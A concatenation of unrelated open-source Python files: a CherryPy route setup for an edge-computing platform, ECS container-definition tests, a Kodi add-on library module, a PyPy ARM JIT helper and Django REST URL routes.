mgmt_dispatcher.connect( name="Put data into existing service", action="application_services_put", controller=ApplicationServicesController, route="/applications/:appInstanceId/services/:serviceId", conditions=dict(method=["PUT"]), ) mgmt_dispatcher.connect( name="Delete service", action="application_services_delete", controller=ApplicationServicesController, route="/applications/:appInstanceId/services/:serviceId", conditions=dict(method=["DELETE"]), ) ####################### # Services Controller # ####################### mgmt_dispatcher.connect( name="Get services", action="services_get", controller=ServicesController, route="/services", conditions=dict(method=["GET"]), ) mgmt_dispatcher.connect( name="Get services with serviceId", action="services_get_with_serviceId", controller=ServicesController, route="/services/:serviceId", conditions=dict(method=["GET"]), ) ######################## # Transport Controller # ######################## mgmt_dispatcher.connect( name="Get transports", action="transports_get", controller=TransportsController, route="/transports", conditions=dict(method=["GET"]), ) cherrypy.config.update( {"server.socket_host": "0.0.0.0", "server.socket_port": 8080} ) supp_conf = {"/": {"request.dispatch": support_dispatcher}} cherrypy.tree.mount(None, "/mec_app_support/v1", config=supp_conf) mgmt_conf = {"/": {"request.dispatch": mgmt_dispatcher}} cherrypy.tree.mount(None, "/mec_service_mgmt/v1", config=mgmt_conf) ###################################### # Database Connection to all threads # ###################################### if isinstance(database, DatabaseBase): cherrypy.engine.subscribe("start_thread", database.connect) cherrypy.engine.start() else: cherrypy.log("Invalid database provided to MEP. Shutting down.") if __name__ == "__main__": parser = argparse.ArgumentParser(description="Multi-Access Edge Computing Platform") parser.add_argument("--mongodb_addr", help="MongoDB Address", default="127.0.0.1") parser.add_argument( "--mongodb_port", type=check_port, help="MongoDB port", default=27017 ) parser.add_argument( "--mongodb_database", help="Database inside MongoDB", default="mep" ) parser.add_argument("--mongodb_password", help="<PASSWORD>") parser.add_argument("--mongodb_username", help="Username to acces MongoDB") args = parser.parse_args() # TODO should be loaded form config file # TODO same as therest of the dispatcher main(MongoDb(args.mongodb_addr, args.mongodb_port, args.mongodb_database))

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tests/test_prepareDeploymentContainerDefinitionsStep.py

AdventielFr/ecs-crd-cli

1

20034

import pytest from unittest.mock import MagicMock import logging from ecs_crd.canaryReleaseInfos import CanaryReleaseInfos from ecs_crd.prepareDeploymentContainerDefinitionsStep import PrepareDeploymentContainerDefinitionsStep from ecs_crd.canaryReleaseInfos import ScaleInfos logger = logging.Logger('mock') infos = CanaryReleaseInfos(action='test') step = PrepareDeploymentContainerDefinitionsStep(infos, logger) def test_process_container_name_valid(): # default source = {} target = {} step._process_container_name(source, target) target['Name'] == 'default' # with name source = {} source['name']='test' target = {} step._process_container_name(source, target) target['Name'] == source['name'] def test_process_container_name_valid(): # default source = {} target = {} step.infos.account_id='123456789' step.infos.region='eu-west-3' step.infos.service_name='service' step.infos.service_version='latest' step._process_container_image(source, target) assert target['Image'] == '123456789.dkr.ecr.eu-west-3.amazonaws.com/service:latest' # with name source = {} source['image']='test' target = {} step._process_container_image(source, target) assert target['Image'] == source['image'] def test_process_container_cpu_invalid(): source = {} source['cpu'] = 'a' target = {} with pytest.raises(ValueError): step._process_container_cpu(source, target) def test_process_container_cpu_valid(): source = {} target = {} # default value step._process_container_cpu(source, target) assert target['Cpu'] == 128 # set value source['cpu'] = 256 target = {} step._process_container_cpu(source, target) assert target['Cpu'] == source['cpu'] def test_process_container_entry_point_valid(): source = {} source['entry_point']=[] source['entry_point'].append('a') source['entry_point'].append('b') target = {} step._process_container_entry_point(source, target) assert target['EntryPoint'] == 'a,b' def test_process_container_entry_point_invalid(): source = {} source['entry_point']='a' target = {} with pytest.raises(ValueError): step._process_container_entry_point(source, target) def test_process_container_command_valid(): source = {} source['command']=[] source['command'].append('a') source['command'].append('b') target = {} step._process_container_command(source, target) assert len(target['Command'])==2 assert target['Command'][0] == 'a' assert target['Command'][1] == 'b' def test_process_container_command_invalid(): source = {} source['command']='b' target = {} with pytest.raises(ValueError): step._process_container_command(source, target) def test_process_container_dns_search_domains_valid(): source = {} source['dns_search_domains']=[] source['dns_search_domains'].append('a') source['dns_search_domains'].append('b') target = {} step._process_container_dns_search_domains(source, target) assert len(target['DnsSearchDomains'])==2 assert target['DnsSearchDomains'][0] == 'a' assert target['DnsSearchDomains'][1] == 'b' def _process_container_dns_search_domains_invalid(): source = {} source['dns_search_domains']='b' target = {} with pytest.raises(ValueError): step._process_container_dns_search_domains(source, target) def test_process_container_disable_networking_valid(): source = {} source['disable_networking'] = True target = {} step._process_container_disable_networking(source, target) assert target['DisableNetworking'] == source['disable_networking'] source = {} source['disable_networking'] = False target = {} step._process_container_disable_networking(source, target) assert target['DisableNetworking'] == source['disable_networking'] def _process_container_disable_networking_invalid(): source = {} source['disable_networking']='b' target = {} with pytest.raises(ValueError): step._process_container_disable_networking(source, target) def test_process_container_dns_servers_valid(): source = {} source['dns_servers']=[] source['dns_servers'].append('a') source['dns_servers'].append('b') target = {} step._process_container_dns_servers(source, target) assert len(target['DnsServers'])==2 assert target['DnsServers'][0] == 'a' assert target['DnsServers'][1] == 'b' def _process_container_dns_servers_invalid(): source = {} source['dns_servers']='b' target = {} with pytest.raises(ValueError): step._process_container_dns_servers(source, target) def test_process_container_start_timeout_invalid(): source = {} source['start_timeout'] = 'a' target = {} with pytest.raises(ValueError): step._process_container_start_timeout(source, target) def test_process_container_start_timeout_valid(): source = {} source['start_timeout']=60 target = {} step._process_container_start_timeout(source, target) assert target['StartTimeout'] == source['start_timeout'] def test_process_container_stop_timeout_invalid(): source = {} source['stop_timeout'] = 'a' target = {} with pytest.raises(ValueError): step._process_container_stop_timeout(source, target) def test_process_container_stop_timeout_valid(): source = {} source['stop_timeout']=60 target = {} step._process_container_stop_timeout(source, target) assert target['StopTimeout'] == source['stop_timeout'] def test_process_container_hostname_valid(): source = {} source['hostname']='a' target = {} step._process_container_hostname(source, target) assert target['Hostname'] == source['hostname']

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SOAPapi/conftest.py

altazur/PythonAutomationExamples

0

142562

<reponame>altazur/PythonAutomationExamples<filename>SOAPapi/conftest.py from CalculatorSOAP import Calculator import pytest @pytest.fixture def get_calculator(): calculator = Calculator() yield calculator def pytest_addoption(parser): parser.addoption('--SOAPver', default='1.1', help='SOAP version: 1 or 2') @pytest.fixture def soap_version(request): return request.config.getoption('--SOAPver')

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geosolver/utils/run_utils.py

mhrmm/geosolver

83

53794

from geosolver.utils.prep import sentence_to_words_statements_values __author__ = 'minjoon' def test_prep(): paragraph = r"If \sqrt{x+5}=40.5, what is x+5?" print(sentence_to_words_statements_values(paragraph)) if __name__ == "__main__": test_prep()

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plugin.video.rebirth/resources/lib/modules/libtools.py

TheWardoctor/wardoctors-repo

1

14868

# -*- coding: utf-8 -*- ################################################################################ # | # # | ______________________________________________________________ # # | :~8a.`~888a:::::::::::::::88......88:::::::::::::::;a8~".a88::| # # | ::::~8a.`~888a::::::::::::88......88::::::::::::;a8~".a888~:::| # # | :::::::~8a.`~888a:::::::::88......88:::::::::;a8~".a888~::::::| # # | ::::::::::~8a.`~888a::::::88......88::::::;a8~".a888~:::::::::| # # | :::::::::::::~8a.`~888a:::88......88:::;a8~".a888~::::::::::::| # # | :::::::::::: :~8a.`~888a:88 .....88;a8~".a888~:::::::::::::::| # # | :::::::::::::::::::~8a.`~888......88~".a888~::::::::::::::::::| # # | 8888888888888888888888888888......8888888888888888888888888888| # # | ..............................................................| # # | ..............................................................| # # | 8888888888888888888888888888......8888888888888888888888888888| # # | ::::::::::::::::::a888~".a88......888a."~8;:::::::::::::::::::| # # | :::::::::::::::a888~".a8~:88......88~888a."~8;::::::::::::::::| # # | ::::::::::::a888~".a8~::::88......88:::~888a."~8;:::::::::::::| # # | :::::::::a888~".a8~:::::::88......88::::::~888a."~8;::::::::::| # # | ::::::a888~".a8~::::::::::88......88:::::::::~888a."~8;:::::::| # # | :::a888~".a8~:::::::::::::88......88::::::::::::~888a."~8;::::| # # | a888~".a8~::::::::::::::::88......88:::::::::::::::~888a."~8;:| # # | # # | Rebirth Addon # # | Copyright (C) 2017 Cypher # # | # # | This program is free software: you can redistribute it and/or modify # # | it under the terms of the GNU General Public License as published by # # | the Free Software Foundation, either version 3 of the License, or # # | (at your option) any later version. # # | # # | This program is distributed in the hope that it will be useful, # # | but WITHOUT ANY WARRANTY; without even the implied warranty of # # | MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # # | GNU General Public License for more details. # # | # ################################################################################ try: from sqlite3 import dbapi2 as database except: from pysqlite2 import dbapi2 as database import datetime import json import os import re import sys import urllib import urlparse import xbmc from resources.lib.modules import control from resources.lib.modules import cleantitle class lib_tools: @staticmethod def create_folder(folder): try: folder = xbmc.makeLegalFilename(folder) control.makeFile(folder) try: if not 'ftp://' in folder: raise Exception() from ftplib import FTP ftparg = re.compile('ftp://(.+?):(.+?)@(.+?):?(\d+)?/(.+/?)').findall(folder) ftp = FTP(ftparg[0][2], ftparg[0][0], ftparg[0][1]) try: ftp.cwd(ftparg[0][4]) except: ftp.mkd(ftparg[0][4]) ftp.quit() except: pass except: pass @staticmethod def write_file(path, content): try: path = xbmc.makeLegalFilename(path) if not isinstance(content, basestring): content = str(content) file = control.openFile(path, 'w') file.write(str(content)) file.close() except Exception as e: pass @staticmethod def nfo_url(media_string, ids): tvdb_url = 'http://thetvdb.com/?tab=series&id=%s' tmdb_url = 'https://www.themoviedb.org/%s/%s' imdb_url = 'http://www.imdb.com/title/%s/' if 'tvdb' in ids: return tvdb_url % (str(ids['tvdb'])) elif 'tmdb' in ids: return tmdb_url % (media_string, str(ids['tmdb'])) elif 'imdb' in ids: return imdb_url % (str(ids['imdb'])) else: return '' @staticmethod def check_sources(title, year, imdb, tvdb=None, season=None, episode=None, tvshowtitle=None, premiered=None): try: from resources.lib.modules import sources src = sources.sources().getSources(title, year, imdb, tvdb, season, episode, tvshowtitle, premiered) return src and len(src) > 5 except: return False @staticmethod def legal_filename(filename): try: filename = filename.strip() filename = re.sub(r'(?!%s)[^\w\-_\.]', '.', filename) filename = re.sub('\.+', '.', filename) filename = re.sub(re.compile('(CON|PRN|AUX|NUL|COM\d|LPT\d)\.', re.I), '\\1_', filename) xbmc.makeLegalFilename(filename) return filename except: return filename @staticmethod def make_path(base_path, title, year='', season=''): show_folder = re.sub(r'[^\w\-_\. ]', '_', title) show_folder = '%s (%s)' % (show_folder, year) if year else show_folder path = os.path.join(base_path, show_folder) if season: path = os.path.join(path, 'Season %s' % season) return path class libmovies: def __init__(self): self.library_folder = os.path.join(control.transPath(control.setting('library.movie')), '') self.check_setting = control.setting('library.check_movie') or 'false' self.library_setting = control.setting('library.update') or 'true' self.dupe_setting = control.setting('library.check') or 'true' self.infoDialog = False def add(self, name, title, year, imdb, tmdb, range=False): if not control.condVisibility('Window.IsVisible(infodialog)') and not control.condVisibility('Player.HasVideo'): control.infoDialog(control.lang(32552).encode('utf-8'), time=10000000) self.infoDialog = True try: if not self.dupe_setting == 'true': raise Exception() id = [imdb, tmdb] if not tmdb == '0' else [imdb] lib = control.jsonrpc('{"jsonrpc": "2.0", "method": "VideoLibrary.GetMovies", "params": {"filter":{"or": [{"field": "year", "operator": "is", "value": "%s"}, {"field": "year", "operator": "is", "value": "%s"}, {"field": "year", "operator": "is", "value": "%s"}]}, "properties" : ["imdbnumber", "originaltitle", "year"]}, "id": 1}' % (year, str(int(year)+1), str(int(year)-1))) lib = unicode(lib, 'utf-8', errors='ignore') lib = json.loads(lib)['result']['movies'] lib = [i for i in lib if str(i['imdbnumber']) in id or (i['originaltitle'].encode('utf-8') == title and str(i['year']) == year)][0] except: lib = [] files_added = 0 try: if not lib == []: raise Exception() if self.check_setting == 'true': src = lib_tools.check_sources(title, year, imdb, None, None, None, None, None) if not src: raise Exception() self.strmFile({'name': name, 'title': title, 'year': year, 'imdb': imdb, 'tmdb': tmdb}) files_added += 1 except: pass if range == True: return if self.infoDialog == True: control.infoDialog(control.lang(32554).encode('utf-8'), time=1) if self.library_setting == 'true' and not control.condVisibility('Library.IsScanningVideo') and files_added > 0: control.execute('UpdateLibrary(video)') def range(self, url): control.idle() yes = control.yesnoDialog(control.lang(32555).encode('utf-8'), '', '') if not yes: return if not control.condVisibility('Window.IsVisible(infodialog)') and not control.condVisibility('Player.HasVideo'): control.infoDialog(control.lang(32552).encode('utf-8'), time=10000000) self.infoDialog = True from resources.lib.indexers import movies items = movies.movies().get(url, idx=False) if items == None: items = [] for i in items: try: if xbmc.abortRequested == True: return sys.exit() self.add('%s (%s)' % (i['title'], i['year']), i['title'], i['year'], i['imdb'], i['tmdb'], range=True) except: pass if self.infoDialog == True: control.infoDialog(control.lang(32554).encode('utf-8'), time=1) if self.library_setting == 'true' and not control.condVisibility('Library.IsScanningVideo'): control.execute('UpdateLibrary(video)') def strmFile(self, i): try: name, title, year, imdb, tmdb = i['name'], i['title'], i['year'], i['imdb'], i['tmdb'] sysname, systitle = urllib.quote_plus(name), urllib.quote_plus(title) transtitle = cleantitle.normalize(title.translate(None, '\/:*?"<>|')) content = '%s?action=play&name=%s&title=%s&year=%s&imdb=%s&tmdb=%s' % (sys.argv[0], sysname, systitle, year, imdb, tmdb) folder = lib_tools.make_path(self.library_folder, transtitle, year) lib_tools.create_folder(folder) lib_tools.write_file(os.path.join(folder, lib_tools.legal_filename(transtitle) + '.strm'), content) lib_tools.write_file(os.path.join(folder, 'movie.nfo'), lib_tools.nfo_url('movie', i)) except: pass class libtvshows: def __init__(self): self.library_folder = os.path.join(control.transPath(control.setting('library.tv')),'') self.version = control.version() self.check_setting = control.setting('library.check_episode') or 'false' self.include_unknown = control.setting('library.include_unknown') or 'true' self.library_setting = control.setting('library.update') or 'true' self.dupe_setting = control.setting('library.check') or 'true' self.datetime = (datetime.datetime.utcnow() - datetime.timedelta(hours = 5)) self.date = (self.datetime - datetime.timedelta(hours = 24)).strftime('%Y%m%d') self.infoDialog = False self.block = False def add(self, tvshowtitle, year, imdb, tvdb, range=False): if not control.condVisibility('Window.IsVisible(infodialog)') and not control.condVisibility('Player.HasVideo'): control.infoDialog(control.lang(32552).encode('utf-8'), time=10000000) self.infoDialog = True from resources.lib.indexers import episodes items = episodes.episodes().get(tvshowtitle, year, imdb, tvdb, idx=False) try: items = [{'title': i['title'], 'year': i['year'], 'imdb': i['imdb'], 'tvdb': i['tvdb'], 'season': i['season'], 'episode': i['episode'], 'tvshowtitle': i['tvshowtitle'], 'premiered': i['premiered']} for i in items] except: items = [] try: if not self.dupe_setting == 'true': raise Exception() if items == []: raise Exception() id = [items[0]['imdb'], items[0]['tvdb']] lib = control.jsonrpc('{"jsonrpc": "2.0", "method": "VideoLibrary.GetTVShows", "params": {"properties" : ["imdbnumber", "title", "year"]}, "id": 1}') lib = unicode(lib, 'utf-8', errors='ignore') lib = json.loads(lib)['result']['tvshows'] lib = [i['title'].encode('utf-8') for i in lib if str(i['imdbnumber']) in id or (i['title'].encode('utf-8') == items[0]['tvshowtitle'] and str(i['year']) == items[0]['year'])][0] lib = control.jsonrpc('{"jsonrpc": "2.0", "method": "VideoLibrary.GetEpisodes", "params": {"filter":{"and": [{"field": "tvshow", "operator": "is", "value": "%s"}]}, "properties": ["season", "episode"]}, "id": 1}' % lib) lib = unicode(lib, 'utf-8', errors='ignore') lib = json.loads(lib)['result']['episodes'] lib = ['S%02dE%02d' % (int(i['season']), int(i['episode'])) for i in lib] items = [i for i in items if not 'S%02dE%02d' % (int(i['season']), int(i['episode'])) in lib] except: pass files_added = 0 for i in items: try: if xbmc.abortRequested == True: return sys.exit() if self.check_setting == 'true': if i['episode'] == '1': self.block = True src = lib_tools.check_sources(i['title'], i['year'], i['imdb'], i['tvdb'], i['season'], i['episode'], i['tvshowtitle'], i['premiered']) if src: self.block = False if self.block == True: raise Exception() premiered = i.get('premiered', '0') if (premiered != '0' and int(re.sub('[^0-9]', '', str(premiered))) > int(self.date)) or (premiered == '0' and not self.include_unknown): continue self.strmFile(i) files_added += 1 except: pass if range == True: return if self.infoDialog == True: control.infoDialog(control.lang(32554).encode('utf-8'), time=1) if self.library_setting == 'true' and not control.condVisibility('Library.IsScanningVideo') and files_added > 0: control.execute('UpdateLibrary(video)') def range(self, url): control.idle() yes = control.yesnoDialog(control.lang(32555).encode('utf-8'), '', '') if not yes: return if not control.condVisibility('Window.IsVisible(infodialog)') and not control.condVisibility('Player.HasVideo'): control.infoDialog(control.lang(32552).encode('utf-8'), time=10000000) self.infoDialog = True from resources.lib.indexers import tvshows items = tvshows.tvshows().get(url, idx=False) if items == None: items = [] for i in items: try: if xbmc.abortRequested == True: return sys.exit() self.add(i['title'], i['year'], i['imdb'], i['tvdb'], range=True) except: pass if self.infoDialog == True: control.infoDialog(control.lang(32554).encode('utf-8'), time=1) if self.library_setting == 'true' and not control.condVisibility('Library.IsScanningVideo'): control.execute('UpdateLibrary(video)') def strmFile(self, i): try: title, year, imdb, tvdb, season, episode, tvshowtitle, premiered = i['title'], i['year'], i['imdb'], i['tvdb'], i['season'], i['episode'], i['tvshowtitle'], i['premiered'] episodetitle = urllib.quote_plus(title) systitle, syspremiered = urllib.quote_plus(tvshowtitle), urllib.quote_plus(premiered) transtitle = cleantitle.normalize(tvshowtitle.translate(None, '\/:*?"<>|')) content = '%s?action=play&title=%s&year=%s&imdb=%s&tvdb=%s&season=%s&episode=%s&tvshowtitle=%s&date=%s' % (sys.argv[0], episodetitle, year, imdb, tvdb, season, episode, systitle, syspremiered) folder = lib_tools.make_path(self.library_folder, transtitle, year) lib_tools.create_folder(folder) lib_tools.write_file(os.path.join(folder, 'tvshow.nfo'), lib_tools.nfo_url('tv', i)) folder = lib_tools.make_path(self.library_folder, transtitle, year, season) lib_tools.create_folder(folder) lib_tools.write_file(os.path.join(folder, lib_tools.legal_filename('%s S%02dE%02d' % (transtitle, int(season), int(episode))) + '.strm'), content) except: pass class libepisodes: def __init__(self): self.library_folder = os.path.join(control.transPath(control.setting('library.tv')),'') self.library_setting = control.setting('library.update') or 'true' self.include_unknown = control.setting('library.include_unknown') or 'true' self.property = '%s_service_property' % control.addonInfo('name').lower() self.datetime = (datetime.datetime.utcnow() - datetime.timedelta(hours = 5)) self.date = (self.datetime - datetime.timedelta(hours = 24)).strftime('%Y%m%d') self.infoDialog = False def update(self, query=None, info='true'): if not query == None: control.idle() try: items = [] season, episode = [], [] show = [os.path.join(self.library_folder, i) for i in control.listDir(self.library_folder)[0]] for s in show: try: season += [os.path.join(s, i) for i in control.listDir(s)[0]] except: pass for s in season: try: episode.append([os.path.join(s, i) for i in control.listDir(s)[1] if i.endswith('.strm')][-1]) except: pass for file in episode: try: file = control.openFile(file) read = file.read() read = read.encode('utf-8') file.close() if not read.startswith(sys.argv[0]): raise Exception() params = dict(urlparse.parse_qsl(read.replace('?',''))) try: tvshowtitle = params['tvshowtitle'] except: tvshowtitle = None try: tvshowtitle = params['show'] except: pass if tvshowtitle == None or tvshowtitle == '': raise Exception() year, imdb, tvdb = params['year'], params['imdb'], params['tvdb'] imdb = 'tt' + re.sub('[^0-9]', '', str(imdb)) try: tmdb = params['tmdb'] except: tmdb = '0' items.append({'tvshowtitle': tvshowtitle, 'year': year, 'imdb': imdb, 'tmdb': tmdb, 'tvdb': tvdb}) except: pass items = [i for x, i in enumerate(items) if i not in items[x + 1:]] if len(items) == 0: raise Exception() except: return try: lib = control.jsonrpc('{"jsonrpc": "2.0", "method": "VideoLibrary.GetTVShows", "params": {"properties" : ["imdbnumber", "title", "year"]}, "id": 1}') lib = unicode(lib, 'utf-8', errors='ignore') lib = json.loads(lib)['result']['tvshows'] except: return if info == 'true' and not control.condVisibility('Window.IsVisible(infodialog)') and not control.condVisibility('Player.HasVideo'): control.infoDialog(control.lang(32553).encode('utf-8'), time=10000000) self.infoDialog = True try: control.makeFile(control.dataPath) dbcon = database.connect(control.libcacheFile) dbcur = dbcon.cursor() dbcur.execute("CREATE TABLE IF NOT EXISTS tvshows (""id TEXT, ""items TEXT, ""UNIQUE(id)"");") except: return try: from resources.lib.indexers import episodes except: return files_added = 0 for item in items: it = None if xbmc.abortRequested == True: return sys.exit() try: dbcur.execute("SELECT * FROM tvshows WHERE id = '%s'" % item['tvdb']) fetch = dbcur.fetchone() it = eval(fetch[1].encode('utf-8')) except: pass try: if not it == None: raise Exception() it = episodes.episodes().get(item['tvshowtitle'], item['year'], item['imdb'], item['tvdb'], idx=False) status = it[0]['status'].lower() it = [{'title': i['title'], 'year': i['year'], 'imdb': i['imdb'], 'tvdb': i['tvdb'], 'season': i['season'], 'episode': i['episode'], 'tvshowtitle': i['tvshowtitle'], 'premiered': i['premiered']} for i in it] if status == 'continuing': raise Exception() dbcur.execute("INSERT INTO tvshows Values (?, ?)", (item['tvdb'], repr(it))) dbcon.commit() except: pass try: id = [item['imdb'], item['tvdb']] if not item['tmdb'] == '0': id += [item['tmdb']] ep = [x['title'].encode('utf-8') for x in lib if str(x['imdbnumber']) in id or (x['title'].encode('utf-8') == item['tvshowtitle'] and str(x['year']) == item['year'])][0] ep = control.jsonrpc('{"jsonrpc": "2.0", "method": "VideoLibrary.GetEpisodes", "params": {"filter":{"and": [{"field": "tvshow", "operator": "is", "value": "%s"}]}, "properties": ["season", "episode"]}, "id": 1}' % ep) ep = unicode(ep, 'utf-8', errors='ignore') ep = json.loads(ep).get('result', {}).get('episodes', {}) ep = [{'season': int(i['season']), 'episode': int(i['episode'])} for i in ep] ep = sorted(ep, key=lambda x: (x['season'], x['episode']))[-1] num = [x for x,y in enumerate(it) if str(y['season']) == str(ep['season']) and str(y['episode']) == str(ep['episode'])][-1] it = [y for x,y in enumerate(it) if x > num] if len(it) == 0: continue except: continue for i in it: try: if xbmc.abortRequested == True: return sys.exit() premiered = i.get('premiered', '0') if (premiered != '0' and int(re.sub('[^0-9]', '', str(premiered))) > int(self.date)) or (premiered == '0' and not self.include_unknown): continue libtvshows().strmFile(i) files_added += 1 except: pass if self.infoDialog == True: control.infoDialog(control.lang(32554).encode('utf-8'), time=1) if self.library_setting == 'true' and not control.condVisibility('Library.IsScanningVideo') and files_added > 0: control.execute('UpdateLibrary(video)') def service(self): try: lib_tools.create_folder(os.path.join(control.transPath(control.setting('library.movie')), '')) lib_tools.create_folder(os.path.join(control.transPath(control.setting('library.tv')), '')) except: pass try: control.makeFile(control.dataPath) dbcon = database.connect(control.libcacheFile) dbcur = dbcon.cursor() dbcur.execute("CREATE TABLE IF NOT EXISTS service (""setting TEXT, ""value TEXT, ""UNIQUE(setting)"");") dbcur.execute("SELECT * FROM service WHERE setting = 'last_run'") fetch = dbcur.fetchone() if fetch == None: serviceProperty = "1970-01-01 23:59:00.000000" dbcur.execute("INSERT INTO service Values (?, ?)", ('last_run', serviceProperty)) dbcon.commit() else: serviceProperty = str(fetch[1]) dbcon.close() except: try: return dbcon.close() except: return try: control.window.setProperty(self.property, serviceProperty) except: return while not xbmc.abortRequested: try: serviceProperty = control.window.getProperty(self.property) t1 = datetime.timedelta(hours=6) t2 = datetime.datetime.strptime(serviceProperty, '%Y-%m-%d %H:%M:%S.%f') t3 = datetime.datetime.now() check = abs(t3 - t2) > t1 if check == False: raise Exception() if (control.player.isPlaying() or control.condVisibility('Library.IsScanningVideo')): raise Exception() serviceProperty = datetime.datetime.now().strftime('%Y-%m-%d %H:%M:%S.%f') control.window.setProperty(self.property, serviceProperty) try: dbcon = database.connect(control.libcacheFile) dbcur = dbcon.cursor() dbcur.execute("CREATE TABLE IF NOT EXISTS service (""setting TEXT, ""value TEXT, ""UNIQUE(setting)"");") dbcur.execute("DELETE FROM service WHERE setting = 'last_run'") dbcur.execute("INSERT INTO service Values (?, ?)", ('last_run', serviceProperty)) dbcon.commit() dbcon.close() except: try: dbcon.close() except: pass if not control.setting('library.service.update') == 'true': raise Exception() info = control.setting('library.service.notification') or 'true' self.update(info=info) except: pass control.sleep(10000)

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rpython/jit/backend/arm/helper/assembler.py

kantai/passe-pypy-taint-tracking

2

148818

from __future__ import with_statement from rpython.jit.backend.arm import conditions as c from rpython.jit.backend.arm import registers as r from rpython.jit.backend.arm.codebuilder import AbstractARMv7Builder from rpython.jit.metainterp.history import ConstInt, BoxInt, FLOAT from rpython.rlib.rarithmetic import r_uint, r_longlong, intmask from rpython.jit.metainterp.resoperation import rop def gen_emit_op_unary_cmp(name, true_cond): false_cond = c.get_opposite_of(true_cond) def f(self, op, arglocs, regalloc, fcond): assert fcond is not None reg, res = arglocs self.mc.CMP_ri(reg.value, 0) self.mc.MOV_ri(res.value, 1, true_cond) self.mc.MOV_ri(res.value, 0, false_cond) return fcond f.__name__ = 'emit_op_%s' % name return f def gen_emit_guard_unary_cmp(name, true_cond): false_cond = c.get_opposite_of(true_cond) def f(self, op, guard, arglocs, regalloc, fcond): assert fcond is not None assert guard is not None reg = arglocs[0] self.mc.CMP_ri(reg.value, 0) cond = true_cond guard_opnum = guard.getopnum() if guard_opnum == rop.GUARD_FALSE: cond = false_cond return self._emit_guard(guard, arglocs[1:], cond, save_exc=False) f.__name__ = 'emit_guard_%s' % name return f def gen_emit_op_ri(name, opname): ri_op = getattr(AbstractARMv7Builder, '%s_ri' % opname) rr_op = getattr(AbstractARMv7Builder, '%s_rr' % opname) def f(self, op, arglocs, regalloc, fcond): assert fcond is not None l0, l1, res = arglocs if l1.is_imm(): ri_op(self.mc, res.value, l0.value, imm=l1.value, cond=fcond) else: rr_op(self.mc, res.value, l0.value, l1.value) return fcond f.__name__ = 'emit_op_%s' % name return f def gen_emit_op_by_helper_call(name, opname): helper = getattr(AbstractARMv7Builder, opname) def f(self, op, arglocs, regalloc, fcond): assert fcond is not None if op.result: regs = r.caller_resp[1:] + [r.ip] else: regs = r.caller_resp with saved_registers(self.mc, regs, r.caller_vfp_resp): helper(self.mc, fcond) return fcond f.__name__ = 'emit_op_%s' % name return f def gen_emit_cmp_op(name, condition): inv = c.get_opposite_of(condition) def f(self, op, arglocs, regalloc, fcond): l0, l1, res = arglocs if l1.is_imm(): self.mc.CMP_ri(l0.value, imm=l1.getint(), cond=fcond) else: self.mc.CMP_rr(l0.value, l1.value, cond=fcond) self.mc.MOV_ri(res.value, 1, cond=condition) self.mc.MOV_ri(res.value, 0, cond=inv) return fcond f.__name__ = 'emit_op_%s' % name return f def gen_emit_cmp_op_guard(name, true_cond): false_cond = c.get_opposite_of(true_cond) def f(self, op, guard, arglocs, regalloc, fcond): assert guard is not None l0 = arglocs[0] l1 = arglocs[1] assert l0.is_reg() if l1.is_imm(): self.mc.CMP_ri(l0.value, imm=l1.getint(), cond=fcond) else: self.mc.CMP_rr(l0.value, l1.value, cond=fcond) guard_opnum = guard.getopnum() cond = true_cond if guard_opnum == rop.GUARD_FALSE: cond = false_cond return self._emit_guard(guard, arglocs[2:], cond, save_exc=False) f.__name__ = 'emit_guard_%s' % name return f def gen_emit_float_op(name, opname): op_rr = getattr(AbstractARMv7Builder, opname) def f(self, op, arglocs, regalloc, fcond): arg1, arg2, result = arglocs op_rr(self.mc, result.value, arg1.value, arg2.value) return fcond f.__name__ = 'emit_op_%s' % name return f def gen_emit_unary_float_op(name, opname): op_rr = getattr(AbstractARMv7Builder, opname) def f(self, op, arglocs, regalloc, fcond): arg1, result = arglocs op_rr(self.mc, result.value, arg1.value) return fcond f.__name__ = 'emit_op_%s' % name return f def gen_emit_float_cmp_op(name, cond): inv = c.get_opposite_of(cond) def f(self, op, arglocs, regalloc, fcond): arg1, arg2, res = arglocs self.mc.VCMP(arg1.value, arg2.value) self.mc.VMRS(cond=fcond) self.mc.MOV_ri(res.value, 1, cond=cond) self.mc.MOV_ri(res.value, 0, cond=inv) return fcond f.__name__ = 'emit_op_%s' % name return f def gen_emit_float_cmp_op_guard(name, true_cond): false_cond = c.get_opposite_of(true_cond) def f(self, op, guard, arglocs, regalloc, fcond): assert guard is not None arg1 = arglocs[0] arg2 = arglocs[1] self.mc.VCMP(arg1.value, arg2.value) self.mc.VMRS(cond=fcond) cond = true_cond guard_opnum = guard.getopnum() if guard_opnum == rop.GUARD_FALSE: cond = false_cond return self._emit_guard(guard, arglocs[2:], cond, save_exc=False) f.__name__ = 'emit_guard_%s' % name return f class saved_registers(object): def __init__(self, cb, regs_to_save, vfp_regs_to_save=None): self.cb = cb if vfp_regs_to_save is None: vfp_regs_to_save = [] self.regs = regs_to_save self.vfp_regs = vfp_regs_to_save def __enter__(self): if len(self.regs) > 0: self.cb.PUSH([r.value for r in self.regs]) if len(self.vfp_regs) > 0: self.cb.VPUSH([r.value for r in self.vfp_regs]) def __exit__(self, *args): if len(self.vfp_regs) > 0: self.cb.VPOP([r.value for r in self.vfp_regs]) if len(self.regs) > 0: self.cb.POP([r.value for r in self.regs]) def count_reg_args(args): reg_args = 0 words = 0 count = 0 for x in range(min(len(args), 4)): if args[x].type == FLOAT: words += 2 if count % 2 != 0: words += 1 count = 0 else: count += 1 words += 1 reg_args += 1 if words > 4: reg_args = x break return reg_args

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profiles_api/urls.py

arun65/profiles-rest-api

0

172231

<filename>profiles_api/urls.py<gh_stars>0 from django.urls import path, include from profiles_api import views from rest_framework.routers import DefaultRouter router = DefaultRouter() router.register('hello-viewset', views.HelloViewSet, base_name='hello-viewset') # (url, class, basename) router.register('profile', views.UserProfileViewSet) # base_name is not required as we configured the queryset.. DRF will figureout the name using the queryset, base_name is only required when we dont have a queryset or when we want to override the name of the queryset urlpatterns = [ path("hello-view/", views.HelloApiView.as_view()), path('login/', views.UserLoginApiView.as_view()), path("", include(router.urls)), # router.urls will generate list of urls for our viewsets based on the methods defined ]

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finance/cron.py

momantang/cobrass

1

149937

